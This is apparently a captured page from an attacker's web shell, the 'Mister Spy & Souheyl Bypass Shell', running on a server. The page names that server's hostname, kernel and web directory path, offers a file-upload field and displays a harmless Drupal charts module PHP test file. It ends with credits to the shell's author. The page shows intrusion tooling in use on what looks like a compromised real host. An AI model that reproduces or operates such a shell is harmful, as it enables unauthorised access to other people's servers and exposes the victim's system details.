Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor/web/modules/contrib/charts/tests/src/Kernel/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor/web/modules/contrib/charts/tests/src/Kernel/ChartLibraryConfigTest.php

<?php

namespace Drupal\Tests\charts\Kernel;

use Drupal\Tests\charts\Traits\ConfigUpdateTrait;

/**
 * Tests the chart library configurations that are part of default config.
 *
 * @group charts
 */
class ChartLibraryConfigTest extends ChartsKernelTestBase {

  use ConfigUpdateTrait;


  /**
   * {@inheritdoc}
   */
  protected static $modules = [
    'charts',
    'charts_test',
  ];

  /**
   * {@inheritdoc}
   */
  public function setUp(): void {
    parent::setUp();

    $this->updateFooConfiguration('bar');
  }

  /**
   * Tests if library config is available after rendering.
   */
  public function testLibraryConfigIsAvailable() {
    $element = [
      '#type' => 'chart',
      '#library' => 'charts_test_library',
      '#chart_type' => 'column',
    ];

    $path = ['foo_configuration'];
    // Confirm that 'foo_configuration' option is set to 'bar'.
    $this->assertJsonPropertyHasValue($element, $path, 'bar');

    // Check if we change the default config for the library config it will
    // pick up after rendering.
    $new_value = $this->randomString();
    $this->updateFooConfiguration($new_value);
    $this->assertJsonPropertyHasValue($element, $path, $new_value);
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net